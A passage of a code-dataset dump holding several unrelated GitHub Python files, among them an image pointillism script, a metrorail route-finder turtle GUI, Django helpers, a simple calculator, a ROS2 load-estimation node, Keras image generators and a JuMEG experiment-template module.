Blur\nradius = 0; #0 is automatic\ngradient.smooth(radius)\n\n\n### Step 6: Paint image\n# cartoonized version is used as a base. Made using medianBlur\nres = cv2.medianBlur(img, 11)\ncv2.imwrite('./output/baseImage.jpg', res)\n\n\n# define a randomized grid of locations for the brush strokes\ngrid = randomized_grid(img.shape[0], img.shape[1], scale=3)\nbatch_size = 10000\n\nbar = progressbar.ProgressBar()\nfor h in bar(range(0, len(grid), batch_size)):\n    # get the pixel colors at each point of the grid\n    pixels = np.array([img[x[0], x[1]] for x in grid[h:min(h + batch_size, len(grid))]])\n    # precompute the probabilities for each color in the palette\n    # lower values of k means more randomnes\n    color_probabilities = compute_color_probabilities(pixels, boosted, k=9)    \n    #define stroke scale:\n    stroke_scale = int(math.ceil(max(img.shape) / 900))\n    \n    for i, (y, x) in enumerate(grid[h:min(h + batch_size, len(grid))]):\n        color = color_select(color_probabilities[i], boosted)\n        angle = math.degrees(gradient.direction(y, x)) + 90\n        length = int(round(stroke_scale + stroke_scale * math.sqrt(gradient.magnitude(y, x))))\n        # draw ellipse stroke\n        #cv2.ellipse(res, (x, y), (length, stroke_scale), angle, 0, 360, color, -1, cv2.LINE_AA)\n        \n        # draw circle stroke\n        cv2.circle(res, (x,y), stroke_scale, color, thickness=-1, lineType= 8, shift=0)\n### Step 7: save Final Image\ncv2.imwrite('./output/pointillizedImage.jpg', res)\n\n\n\n","repo_name":"puvvadaharsha/pointillismProject","sub_path":"pointillizingDigitalImages.py","file_name":"pointillizingDigitalImages.py","file_ext":"py","file_size_in_byte":5924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"75202532167","text":"\"\"\"\nFaça um programa em python para ler os dados de um usuário: nome, telefone e endereço.\nAo final, o programa deve imprimir na tela um relatório com os dados do usuário.\n\"\"\"\n\nnome = input(\"Informe o nome do usuário: \")\ntelefone = input(\"Informe o telefone do usuário: \")\nendereço = input(\"Informe o endereço do usuário: \")\nprint(\"\\n\")\nprint(\"Dados do usuário: -Nome: \", nome, \"-Telefone: \", telefone, \"-Endereço: \", endereço)\n","repo_name":"KatiuceBarbosa/Logica-em-Programacao-Python","sub_path":"Exercício 6.py","file_name":"Exercício 6.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9322999499","text":"# just comment out one of the two lines below to switch between the two implementations (prac1 and prac2)\n#from metrorail_network1 import *\n\nimport turtle\nfrom metrorail_network2 import *\nstation_coordinates=[[-325.0, 60.0,cpt],[-267.0, 83.0, esp],[-238.0,105.0,yst]]\nstns=[cpt,cpt]\n\nstate=['from','to']\n\nindex=0\nrun=turtle.Turtle()\nrun.shape('circle')\nrun.shapesize(0.5,0.5,1)\n##print(eval('cpt'))\n\n\n\n\nreader=open('coordinates.txt',mode='r')\nfor i in reader.readlines():\n   if i not in station_coordinates:\n      a=i.split(',')\n      a[-1]=eval((a[-1].split('\\n')[0]))\n      ##print(a[-1,])\n      station_coordinates.append(a)\nreader.close()\n##print(station_coordinates)\n\n\n\n'''\nroute_on_single_line = central_BLV.number_stops_and_direction(uni, esp)\nprint(\"Unibell to Esplanade on central_BLV: direction {0}, {1} stops\\n\".format(route_on_single_line[1].name, route_on_single_line[0]))\n\nuni.route_to(esp)\nooz.route_to(cpt)\nuni.route_to(pen)\ncpt.route_to(blv)\nyst.route_to(chn)\n\nuni.route_to(sto)\nuni.route_to(slt)\n\n# the test below is very inefficient with the first version of the function (going through Cape Town, total of 30 stops)\nkuy.route_to(kpt)\n\n# now best routes (you can see that the output differs between different runs when using the second version of the prac):\nkuy.best_route_to(kpt)\nuni.best_route_to(slt)\nclr.best_route_to(haz)\n'''\nallStations=[]\nlines=cpt.get_lines()\nfor i in lines:\n   stations=i.get_stations()\n   for j in stations:\n      if j not in allStations:\n         allStations.append(j)\n\ndef route(x,y):\n\n  if state[0]=='from':\n      run.clear()\n      stns[0]=whichStation(x,y)\n      run.color('red')\n      run.goto(x,y)\n      run.stamp()\n\n\n  if state[0] =='to':\n      stns[1]=whichStation(x,y)\n      run.color('purple')\n      run.goto(x,y)\n      temp=state[1]\n      state[1]=state[0]\n      state[0]=temp\n      return stns[0].best_route_to(stns[1])\n  temp=state[1]\n  state[1]=state[0]\n  state[0]=temp\n\n\n\ndef whichStation(x,y):\n   add=[]\n   if state=='to':\n      print('hello')\n\n   for i in station_coordinates:\n      dist=int(sqdist(float(x),float(y),float(i[0]),float(i[1])))\n      ##print(dist)\n      add.append(dist)\n   lowest=add[0]\n   ind=0\n   for j in range(len(add)):\n      if add[j]<lowest:\n         lowest=add[j]\n         ind=j\n   if add[ind]>10:\n\n      print('doesnt exist')\n      stn=input('Enter 3 letter code').upper()\n      print(stn)\n\n      for i in allStations:  ##AllStations has the string of all the object names\n         ##cc=exec(str(i)+'.code')\n         ##print(i.code)##Its printing None\n         if i.code.lstrip()==stn:\n            station_coordinates.append([x,y,(i)])\n            print('done')\n            ind=len(station_coordinates)-1\n            break\n   return(station_coordinates[ind][2])\n\n\n\ndef sqdist(x1,y1,x2,y2):\n   return(((x2-x1)**2)+((y2-y1)**2))**(0.5)\n\n\n\n\n\ndef where(x,y):\n   print(x,y)\n\ndef pwrite(x,y):\n   stream=open('coordinates.txt',mode='w')\n   for i in station_coordinates:\n      stream.write('{},{},{}\\n'.format(i[0],i[1],i[2]))\n   stream.close()\n   print('printed')\n\n\n\n\n\n\nrun.penup()\nwin=turtle.Screen()\n\nwin.bgpic('CT_RailMap1.gif')\nwin.setup(width=900 , height=650, startx=None, starty=0)\nwin.onclick(route)\n\n##win.onclick(pwrite,btn=3).\n\nwin.listen()\nwin.mainloop()\n\n   ##print(clr.get_connecting_time(southern, central_BLV)) # raises one of our user-defined exceptions\n##while(stnfrom==None):","repo_name":"bngweny/Metrorail_app_python","sub_path":"sources/metrorail_tests.py","file_name":"metrorail_tests.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"39983038460","text":"from django.conf import settings\nfrom django.http import Http404\nimport pyuv\nfrom gaffer.httpclient import Server, GafferNotFound, ProcessId\n\n\ndef get_gaffer_server():\n    loop = pyuv.Loop.default_loop()\n    s = Server(settings.GAFFER_SERVER, loop=loop)\n    return s\n\n\ndef get_process_or_404(proc_name, server=None):\n    s = server\n    if not s:\n        s = get_gaffer_server()\n    try:\n        process = s.get_process(proc_name)\n        return process\n    except GafferNotFound:\n        raise Http404\n\n\ndef get_process_list():\n    s = get_gaffer_server()\n    return s.processes()\n\n\ndef get_pid_or_404(pid, proc_name):\n    s = get_gaffer_server()\n    process = get_process_or_404(proc_name, s)\n    pid_object = ProcessId(s, pid, process)\n    return pid_object\n","repo_name":"martync/gaffer-django-client","sub_path":"gafferclient/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":760,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"13802454748","text":"import math\r\n\r\nwhile True:\r\n    num1 = float(input(\"Enter num1: \"))\r\n    op = input(\"Enter your desired operation (+, -, *, /, radical, sin, cos, tan, cot, factorial, or exit)\") \r\n\r\n    if op == \"+\":\r\n        num2 = float(input(\"Enter num2: \"))\r\n        result = num1 + num2\r\n\r\n    elif op == \"-\":\r\n        num2 = float(input(\"Enter num2: \"))\r\n        result = num1 - num2\r\n\r\n    elif op == \"*\":\r\n        num2 = float(input(\"Enter num2: \"))\r\n        result = num1 * num2\r\n\r\n    elif op == \"/\":\r\n        num2 = float(input(\"Enter num2: \"))\r\n        if num2 == 0:\r\n            result = \"Error\"\r\n        else :\r\n            result = num1 / num2\r\n\r\n    elif op == \"radical\":\r\n        if num1 < 0:\r\n            result = \"Error\"\r\n        else:\r\n            result = math.sqrt(num1)\r\n\r\n    elif op == \"sin\":\r\n        result = math.tan(num1)\r\n\r\n    elif op == \"cos\":\r\n        result = math.cos(num1)\r\n\r\n    elif op == \"tan\":\r\n        result = math.tan(num1)\r\n\r\n    elif op == \"cot\":\r\n        result = math.cot(num1)\r\n\r\n    elif op == \"factorial\":\r\n        if num1 < 0:\r\n            result = \"Error\"\r\n        else:\r\n            result = math.factorial(num1)\r\n    \r\n    elif op == \"exit\":\r\n        break\r\n\r\n    print(result)","repo_name":"FatemehJomhouri/Python-Assignments","sub_path":"Assignment 2/Assignment 2a.py","file_name":"Assignment 2a.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29163422494","text":"\"\"\"Define Payload Factory for tests\"\"\"\nimport json\nfrom django.test import Client\n\n\nclass PayloadFactory(Client):\n    \"\"\"A factory for generating payloads\"\"\"\n\n    TYPE = 'greeting'\n    DEFAULT_ID = '1'\n    DEFAULT_MESSAGE = 'An Arbitrary Message'\n\n    def __init__(self, overrides={}):\n        self.overrides = overrides\n\n    def create_payload(self):\n        return {\n            'data': {\n                'type': self._get_type(),\n                'attributes': {\n                    'message': self._get_message()\n                }\n            }\n        }\n\n    def update_payload(self):\n        return {\n            'data': {\n                'type': self._get_type(),\n                'id': self._get_id(),\n                'attributes': {\n                    'message': self._get_message()\n                }\n            }\n        }\n\n    def _get_type(self):\n        return self.TYPE\n\n    def _get_id(self):\n        if 'id' in self.overrides:\n            return self.overrides['id']\n        else:\n            return self.DEFAULT_ID\n\n    def _get_message(self):\n        if 'message' in self.overrides:\n            return self.overrides['message']\n        else:\n            return self.DEFAULT_MESSAGE\n\n","repo_name":"zhao-li/test-backend","sub_path":"greetings/tests/helpers/payload_factory.py","file_name":"payload_factory.py","file_ext":"py","file_size_in_byte":1201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"37100700584","text":"import yaml\nimport os\nimport numpy as np\nfrom scipy import interpolate\n\nimport rclpy\nfrom rclpy.node import Node\nfrom rclpy.qos import QoSDurabilityPolicy, QoSHistoryPolicy, QoSReliabilityPolicy\nfrom rclpy.qos import QoSProfile\nfrom ament_index_python.packages import get_package_share_directory\n\nfrom tf2_ros.buffer import Buffer\nfrom tf2_ros.transform_listener import TransformListener\nfrom std_msgs.msg import Float64MultiArray, String\nfrom geometry_msgs.msg import PointStamped\nfrom walker_msgs.msg import ForceStamped, StepStamped \n\nclass PartialLoads(Node):\n\n    def __init__(self):\n        super().__init__('partial_loads')\n        self.get_logger().fatal(\"USE CPP VERSION! ...\")\n    \n        self.declare_parameters(\n            namespace='',\n            parameters=[\n                 ('handle_calibration_file', os.path.join(get_package_share_directory('walker_loads'), \"config\", \"params.yaml\") ),\n                 ('left_loads_topic_name', '/left_loads'),\n                 ('right_loads_topic_name', '/right_hand_loads'),\n                 ('left_hand_loads_topic_name', '/left_hand_loads'),\n                 ('right_hand_loads_topic_name', '/right_loads'),                 \n                 ('left_handle_topic_name', '/left_handle'),\n                 ('right_handle_topic_name', '/right_handle'),\n                 ('left_steps_topic_name', '/detected_step_left'),\n                 ('right_steps_topic_name', '/detected_step_right'),\n                 ('user_desc_topic_name', '/user_desc'),\n                 ('period', 0.05),\n                 ('speed_delta', 0.05)\n            ]\n        )\n\n\n        self.left_loads_topic_name = self.get_parameter('left_loads_topic_name').value\n        self.right_loads_topic_name = self.get_parameter('right_loads_topic_name').value\n        self.left_hand_loads_topic_name = self.get_parameter('left_hand_loads_topic_name').value\n        self.right_hand_loads_topic_name = self.get_parameter('right_hand_loads_topic_name').value\n        self.left_handle_topic_name = self.get_parameter('left_handle_topic_name').value\n        self.right_handle_topic_name= self.get_parameter('right_handle_topic_name').value\n        self.left_steps_topic_name= self.get_parameter('left_steps_topic_name').value\n        self.right_steps_topic_name= self.get_parameter('right_steps_topic_name').value\n        self.user_desc_topic_name= self.get_parameter('user_desc_topic_name').value\n        self.period = self.get_parameter('period').value\n        self.speed_delta = self.get_parameter('speed_delta').value\n        self.handle_calibration_file = self.get_parameter('handle_calibration_file').value\n\n        with open(self.handle_calibration_file, 'r') as stream:\n            try:\n                parsed_yaml=yaml.safe_load(stream)\n                self.weight_points = parsed_yaml['weight_points']        \n                self.left_handle_points = parsed_yaml['left_handle_points']\n                self.right_handle_points = parsed_yaml['right_handle_points']\n            except yaml.YAMLError as exc:\n                print(exc)\n        \n        self.fr = interpolate.interp1d(self.right_handle_points, self.weight_points, fill_value = \"extrapolate\")\n        self.fl = interpolate.interp1d(self.left_handle_points,  self.weight_points, fill_value = \"extrapolate\")\n\n        # stored data\n        self.left_handle_msg = None\n        self.right_handle_msg = None\n        self.left_step_msg = None\n        self.right_step_msg = None\n\n        self.speed_diff = 0\n        self.right_speed = None\n        self.left_speed  = None\n\n        self.weight = 100\n        self.right_handle_weight = 0\n        self.left_handle_weight  = 0\n        self.leg_load = 0\n\n        self.new_data_available = False\n        self.first_data_ready = False\n        \n        # ROS stuff\n        self.left_load_pub  = self.create_publisher(StepStamped, self.left_loads_topic_name,  10)\n        self.right_load_pub = self.create_publisher(StepStamped, self.right_loads_topic_name, 10)\n        self.left_hand_load_pub  = self.create_publisher(StepStamped, self.left_hand_loads_topic_name,  10)\n        self.right_hand_load_pub = self.create_publisher(StepStamped, self.right_hand_loads_topic_name, 10)\n\n        self.left_handle_sub = self.create_subscription(ForceStamped, self.left_handle_topic_name, self.handle_lc, 10) \n        self.right_handle_sub = self.create_subscription(ForceStamped, self.right_handle_topic_name, self.handle_lc, 10) \n\n        self.left_steps_sub = self.create_subscription(StepStamped, self.left_steps_topic_name,  self.l_steps_lc, 10) \n        self.right_steps_sub = self.create_subscription(StepStamped, self.right_steps_topic_name, self.r_steps_lc, 10)\n\n\n        # mimics a ROS1 'latched' topic\n        latched_profile = QoSProfile(depth=1)\n        latched_profile.history = QoSHistoryPolicy.KEEP_LAST\n        latched_profile.reliability = QoSReliabilityPolicy.RELIABLE\n        latched_profile.durability = QoSDurabilityPolicy.TRANSIENT_LOCAL\n\n        self.user_desc_sub = self.create_subscription(String, self.user_desc_topic_name, self.user_desc_lc, latched_profile) \n        \n        self.tmr = self.create_timer(self.period, self.timer_callback)\n\n\n        self.get_logger().info(\"load detector started\")  \n\n    def user_desc_lc(self, msg):\n        user_fields = msg.data.split(':')\n        if len(user_fields)>2:\n            new_weight = int(user_fields[2])\n            if (new_weight != self.weight):\n                self.weight = new_weight\n                self.new_data_available = True\n\n    def l_steps_lc(self, msg):\n        self.steps_lc(msg,0)\n\n    def r_steps_lc(self, msg):\n        self.steps_lc(msg,1)\n\n    def handle_lc(self, msg):\n        if ('right' in msg.header.frame_id ):\n            self.right_handle_msg = msg          \n            self.right_handle_weight = self.fr(msg.force)\n            self.new_data_available = True\n        elif ('left' in msg.header.frame_id):\n            self.left_handle_msg = msg\n            self.left_handle_weight  = self.fl(msg.force) \n            self.new_data_available = True\n        else:\n            self.get_logger().error(\"Don't know about which handle are you talking [\" + msg.header.frame_id + \"]\")    \n            return                \n\n    def steps_lc(self, msg, id):\n        if  (id==1):\n                self.right_step_msg = msg\n                self.right_speed = self.right_step_msg.speed\n                self.new_data_available = True\n\n                hand_msg = self.right_handle_msg\n                hand_msg.force = self.right_handle_weight\n                self.right_hand_load_pub.publish(hand_msg)\n                self.get_logger().error(\"handle published(r)]\")    \n        elif (id==0):\n                self.left_step_msg = msg\n                self.left_speed = self.left_step_msg.speed\n                self.new_data_available = True\n\n                hand_msg = self.left_handle_msg\n                hand_msg.force = self.left_handle_weight\n                self.left_hand_load_pub.publish(hand_msg)\n                self.get_logger().error(\"handle published(r)]\")    \n\n        else:\n            self.get_logger().error(\"Don't know about which step are you talking [\" + id + \"]\")    \n            return          \n        \n        if ((self.left_step_msg is not None) and  (self.right_step_msg is not None) ): \n            speed_diff_x = self.left_speed.x - self.right_speed.x\n            #speed_diff_y = self.left_speed.y - self.right_speed.y\n            #speed_diff_z = self.left_speed.z - self.right_speed.z\n            #self.speed_diff = pow(speed_diff_x * speed_diff_x + speed_diff_y * speed_diff_y + speed_diff_z * speed_diff_z , 0.5)\n            self.speed_diff = speed_diff_x\n\n    def timer_callback(self):\n        if (self.new_data_available):\n            self.new_data_available = False\n\n            if (not self.first_data_ready ):\n                self.first_data_ready = (self.left_handle_msg is not None) and  (self.right_handle_msg is not None) and (self.left_step_msg is not None) and  (self.right_step_msg is not None)    \n\n            if ( self.first_data_ready ):\n                    # amount of weight on legs\n                    self.leg_load = self.weight - self.left_handle_weight - self.right_handle_weight\n\n                    # assign weight to supporting leg...\n                    if (self.speed_diff>self.speed_delta):\n                        self.right_leg_load = self.leg_load\n                        self.left_leg_load = 0.0\n                    elif (self.speed_diff<-self.speed_delta):\n                        self.right_leg_load = 0.0\n                        self.left_leg_load = self.leg_load\n                    else:\n                        # Both leg supporting: We can't be sure about how much on each one!\n                        self.right_leg_load = 0.5 * self.leg_load\n                        self.left_leg_load =  0.5 * self.leg_load\n                    \n                    # Build msgs and publish\n                    # left\n                    msg = self.left_step_msg                \n                    msg.load = self.left_leg_load\n                    self.left_load_pub.publish(msg)\n\n                    #right\n                    msg = self.right_step_msg                \n                    msg.load = self.right_leg_load\n                    self.right_load_pub.publish(msg)\n\n                    #self.get_logger().warn(\"Weight distribution on legs L(\" + str(self.left_leg_load) + \") - R(\" + str(self.right_leg_load) + \")\")\n            else:                \n                pass\n                #self.get_logger().error(\"Not all data received yet ...\")\n        else:\n            pass\n                #self.get_logger().error(\"Not all data received yet ...\")\n\ndef main(args=None):\n    rclpy.init(args=args)\n\n    minimal_subscriber = PartialLoads()\n\n    rclpy.spin(minimal_subscriber)\n \n    minimal_subscriber.destroy_node()\n    rclpy.shutdown()\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"TaISLab/WalKit","sub_path":"walker_loads/scripts/partial_loads.py","file_name":"partial_loads.py","file_ext":"py","file_size_in_byte":9930,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"3315793534","text":"from django.template.loader import render_to_string\nfrom pico import miditags\n\n\n@miditags.register('embed')\nclass EmbedHandler(miditags.HandlerBase):\n    def handle(self, url):\n        return render_to_string(\n            'podcasts/embed_iframe.html',\n            {\n                'url': url,\n                'height': 600\n            }\n        )\n","repo_name":"OriginPodcasts/pico","sub_path":"pico/podcasts/miditags.py","file_name":"miditags.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29689156280","text":"from beidaqingniao.oop.d01.book import Book\nfrom beidaqingniao.oop.d01.magazine import Magazine\n\n\nclass BookFactory:\n    __new = None\n    __inited = False\n\n    def __new__(cls, *args, **kwargs):\n        if cls.__new is None:\n            cls.__new = object.__new__(cls)\n        return cls.__new\n\n    def __init__(self):\n        if BookFactory.__inited:\n            return\n        BookFactory.__inited = True\n\n    def product(self, type=\"Book\", title=\"Book\", publisher=\"NJUP\", price=10, period=4):\n        if type == \"Book\":\n            if title == \"Book\":\n                return Book(title, publisher, price)\n            return Book(title, publisher, price)\n        elif type == \"Magazine\":\n            if title == \"Book\":\n                title = \"Magazine\"\n                return Magazine(title, publisher, price, period)\n            return Magazine(title, publisher, price, period)\n        else:\n            return None\n\n\nif __name__ == '__main__':\n    d1 = BookFactory()\n    print(d1.product(\"Book\", 2))\n    d2 = BookFactory()\n    print(d2.product(\"Magazine\", 1, 2, 3, 5))\n\n\n\n\n","repo_name":"sczhan/ss11","sub_path":"beidaqingniao/oop/d02/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28626912942","text":"import numpy as np\nimport pandas as pd\nimport glob\nimport os\nimport cv2\nfrom skimage import io\nimport scipy.misc as scm\nfrom sklearn.model_selection import KFold\n\nfrom utilities import *\n\ndef train_generator(batch_size, img_h, img_w, cur_val_fold=N_FOLDS - 1, validate=True):\n    folds = prepare_folds()\n    if validate:\n        train_names = [name for fold in folds[0:cur_val_fold] + folds[cur_val_fold + 1:] for name in fold]\n    else:\n        train_names = [name for fold in folds for name in fold]\n    print('CVF: ', cur_val_fold, ', n_train: ', len(train_names))     \n    print(np.array(train_names))\n    # img_mean, img_std = get_mean_std(cur_val_fold=cur_val_fold)\n    while True:\n        for start in range(0, len(train_names), batch_size):\n            x_batch = []\n            y_batch = []\n            end = min(start + batch_size, len(train_names))\n            names_train_batch = train_names[start:end]\n            for name in names_train_batch:\n                img = cv2.imread(os.path.join(TRAIN_DIR, '{}_RGB.tif'.format(name)))\n                # img = (img - img_mean) / (img_std + EPS)\n                mask = io.imread(os.path.join(TRAIN_DIR, '{}_GTI.tif'.format(name)))\n                mask = np.array(mask != 0, np.uint8)\n               \n                mask_crop = [0]\n                while (np.sum(mask_crop) < 10000):\n                    img_crop, mask_crop = random_crop(img, mask, img_h)\n\n                img_crop, mask_crop = randomHorizontalFlip(img_crop, mask_crop, u=0.5)\n\n                dump_imgs(img_crop, mask_crop, name, dirname='train_imgs', tile_id='')\n                \n                mask_crop = np.expand_dims(mask_crop, axis=2)\n                x_batch.append(img_crop)\n                y_batch.append(mask_crop)\n\n            x_batch = np.array(x_batch, np.float32) / 255.0\n            # x_batch = np.array(x_batch, np.float32)\n            y_batch = np.array(y_batch, np.float32)\n            yield x_batch, y_batch\n\ndef val_generator(batch_size, img_h, img_w, cur_val_fold=N_FOLDS - 1):\n    folds = prepare_folds()\n    val_names = [name for name in folds[cur_val_fold]]\n    print('CVF: ', cur_val_fold)\n    print(np.array(val_names))\n    # img_mean, img_std = get_mean_std(cur_val_fold=cur_val_fold)\n    while True:\n        for start in range(0, len(val_names), batch_size):\n            x_batch = []\n            y_batch = []\n            end = min(start + batch_size, len(val_names))\n            names_valid_batch = val_names[start:end]\n            for name in names_valid_batch:\n                img = cv2.imread(os.path.join(TRAIN_DIR, '{}_RGB.tif'.format(name)))\n                # img = (img - img_mean) / (img_std + EPS)\n                mask = io.imread(os.path.join(TRAIN_DIR, '{}_GTI.tif'.format(name)))\n                mask = np.array(mask != 0, np.uint8)\n\n                img_crops, mask_crops = get_val_crops(img, mask, tile_size=img_w)\n\n                for tile_id, zipped in enumerate(zip(img_crops, mask_crops)):\n                    cur_img, cur_mask = zipped\n                    cur_mask = np.expand_dims(cur_mask, axis=2)\n                    x_batch.append(cur_img)\n                    y_batch.append(cur_mask)\n\n                    dump_imgs(cur_img, cur_mask, name, dirname='val_imgs', tile_id=tile_id)\n\n                    if len(x_batch) >= batch_size:\n                        x_batch = np.array(x_batch, np.float32) / 255.0\n                        # x_batch = np.array(x_batch, np.float32)\n                        y_batch = np.array(y_batch, np.float32)\n                        \n                        # print('!!!!!!!!!!!!! YIELD: ', x_batch.shape, ' - ',  y_batch.shape)\n                        yield x_batch, y_batch\n                        \n                        x_batch = []\n                        y_batch = []\n\n            if len(x_batch) > 0:\n                x_batch = np.array(x_batch, np.float32) / 255.0\n                # x_batch = np.array(x_batch, np.float32)\n                y_batch = np.array(y_batch, np.float32)\n\n                yield x_batch, y_batch\n\ndef test_generator(batch_size, img_h, img_w, cur_val_fold=N_FOLDS - 1):\n    imgs = glob.glob(os.path.join(TEST_DIR, '*_RGB.tif'))\n    imgs = [img.split('_RGB')[0].split('\\\\')[1] for img in imgs]\n    # print (len(imgs))\n    # img_mean, img_std = get_mean_std(cur_val_fold=cur_val_fold)\n    batch_names = []\n    img_n = 0\n    for i, name in enumerate(imgs):\n        # print (i, name)\n        img = cv2.imread(os.path.join(TEST_DIR, '{}_RGB.tif'.format(name)))\n        # img = (img - img_mean) / (img_std + EPS)\n        tiles = get_tiles(img, mask=None, tile_size=img_h)\n        batch_names.append(name)\n\n        for j in range(0, tiles.shape[0], batch_size):\n            x_batch = tiles[j:j+batch_size]\n            x_batch = np.array(x_batch, np.float32) / 255.0\n            # x_batch = np.array(x_batch, np.float32)\n            yield img_n, x_batch, batch_names\n            batch_names = []\n\n        img_n += 1\n","repo_name":"mifril/topcoder_urban3d","sub_path":"generators.py","file_name":"generators.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"23476633373","text":"#!/usr/bin/env python3\n# -+-coding: utf-8 -+-\n\n\"\"\"\n\"\"\"\n\n#--------------------------------------------\n# Authors: Frank Boers <f.boers@fz-juelich.de> \n#\n#-------------------------------------------- \n# Date: 13.12.18\n#-------------------------------------------- \n# License: BSD (3-clause)\n#--------------------------------------------\n# Updates\n#--------------------------------------------\n\nimport os,sys,copy\nfrom pubsub                             import pub\nfrom jumeg.base.template.jumeg_template import JuMEG_Template\nfrom jumeg.base.jumeg_logger            import get_logger\n\nlogger = get_logger()\n\n__version__=\"2020.04.22.001\"\n\n__DEFAULT_EXPERIMENT_TEMPLATE__={\n\"info\":{\n          \"time\":None,\n          \"user\": None,\n          \"version\": None\n         },\n\"experiment\":{\n              \"name\" : \"default\",\n              #\"ids\"  : [], not used jet\n              \"scans\": [],\n              \"stages\":[\"${JUMEG_PATH_MNE_IMPORT1}/exp\",\"${JUMEG_PATH_MNE_IMPORT2}/exp\",\"${JUMEG_PATH_LOCAL_DATA}/exp\"],\n              \"bads_list\":[], #\"MEG 010\",\"MEG 142\",\"MEG 156\",\"RFM 011\"],\n              \"segmentation\":{\n                              \"path\":{\n                                      \"mrdata\"     : \"mrdata\",\n                                      \"dicom\"      : \"mrdata/dicom\",\n                                      \"freesurfer\" : \"mrdata/freesurfer\"\n                                    }\n                             },\n              \"path\":{\n                       \"mne\"        : \"mne\",\n                       \"eeg\"        : \"eeg\",\n                       \"mft\"        : \"mft\",\n                       \"report\"     : \"report\",\n                       \"doc\"        : \"doc\",\n                       \"source\"     : \"source\",\n                       \"stimuli\"    : \"stimuli\"\n                      }\n },\n\n\"bti_export\": {\n              \"bti_path\"          : [\"${JUMEG_PATH_BTI_EXPORT}\",\"${JUMEG_PATH_LOCAL_DATA}/megdaw_data21\"],\n              \"pdf_name\"          : \"c,rfDC\",\n              \"config_fname\"      : \"config\",\n              \"head_shape_fname\"  : \"hs_file\",\n              \"rotation_x\"        : None,\n              \"translation\"       : None,\n              \"ecg_ch\"            : None,\n              \"eog_ch\"            : None,\n              \"fif_extention\"     : \"-raw.fif\",\n              \"emptyroom\"         : \"-empty.fif\",\n              \"overwrite\"         : False,\n              \"fakesHS\"           : False\n             },\n}\n\n'''\nToDo : setup BIDS and PrePorc\n  \"preprocessing\": {\n                    \"meeg_merger\": {},\n                    \"epocher\": {},\n                    \"suggest_bads\": {},\n                    \"noise_reducer\": {},\n                    \"artifact_rejection\": {},\n                    \"events\": {}\n                    }\n'''\n\n\nclass JuMEG_Template_Experiments(JuMEG_Template):\n    \"\"\"\n    class to work with <jumeg experiment templates>\n    overwrite _init(**kwargs) for you settings\n\n    Example\n    -------\n     from jumeg.template.jumeg_template import JuMEG_Template_Experiments\n\n     class JuMEG_ExpTemplate(JuMEG_Template_Experiments):\n        def __init__(self,**kwargs):\n            super().__init__()\n\n        def update_from_kwargs(self,**kwargs):\n           self.template_path = kwargs.get(\"template_path\",self.template_path)\n\n        def _init(self,**kwargs):\n            self.update_from_kwargs(**kwargs)\n\n     TMP = JuMEG_ExpTemplate()\n     print(TMP.template_path)\n\n    \"\"\"\n    def __init__ (self,**kwargs):\n        super().__init__()\n        self.template_path    = os.getenv('JUMEG_PATH_TEMPLATE_EXPERIMENTS',self.template_path_default + '/jumeg_experiments')\n        self.template_name    = 'default'\n        self.template_postfix = 'jumeg_experiment_template'\n        self._init(**kwargs)\n\n    def _init(self,**kwargs):\n        pass\n    \nclass JuMEG_ExpTemplate(JuMEG_Template_Experiments):\n   def __init__(self,**kwargs):\n       super().__init__()\n       \n   @property\n   def data(self): return self.template_data['experiment']\n\n #--- tmp path default\n   @property\n   def template_path_default(self):\n       return os.getenv(\"JUMEG_PATH_TEMPLATE_EXPERIMENTS\",os.getenv(\"JUMEG_PATH\") + '/data/templates/jumeg_experiments')\n\n   @property\n   def bti_data(self):\n       return self.template_data['bti_export']\n\n   @property\n   def name(self ): return self.data.get(\"name\")\n   @property\n   def scans(self): return self.data.get(\"scans\")\n   @property\n   def bads(self):  return self.data.get(\"bads_list\")\n\n   @property\n   def stages(self):return self.data.get(\"stages\")\n   @stages.setter\n   def stages(self,v):\n       if isinstance(v,(list)):\n          self.data['stages']=v\n       else:\n          self.data['stages'].append(v)\n   \n   @property\n   def paths(self):return self.data.get('paths')\n\n   @property\n   def segmentation_paths(self):\n       return self.data.get('paths',[])\n\n   def update_from_kwargs( self, **kwargs ):\n       self.template_path = kwargs.get(\"template_path\", self.template_path)\n       self._pubsub_error_msg = kwargs.get(\"pubsub_error_msg\", \"MAIN_FRAME.MSG.ERROR\")\n\n   def _init( self, **kwargs ):\n       self.update_from_kwargs(**kwargs)\n\n   def get_experiments(self,**kwargs):\n       \"\"\"\n       find experimnet template files in  ${JUMEG_PATH}/templates/jumeg_experiment\n       if no template file found:\n          reset template data wit default parameter dict\n          init experimnet name list with <default name>\n       \n       :param issorted: <True>\n       :return: experiment template name list\n       \"\"\"\n       exp = self.get_sorted_experiments(**kwargs)\n       if exp:\n          return exp\n       self.template_data_reset()\n       # print(self.template_name)\n       return [ self.template_name ]\n       \n   def get_sorted_experiments(self,issorted=True,default_on_top=True):\n       \"\"\"\n       :param issorted sort the list <True>\n       :param default_on_top  list <default> first <True>\n      \n       Result\n       -------\n        sorted list of scans\n       \"\"\"\n       exps = self.template_update_name_list()\n       \n       if issorted:\n          exps = sorted( exps )\n       if default_on_top:\n          dname= 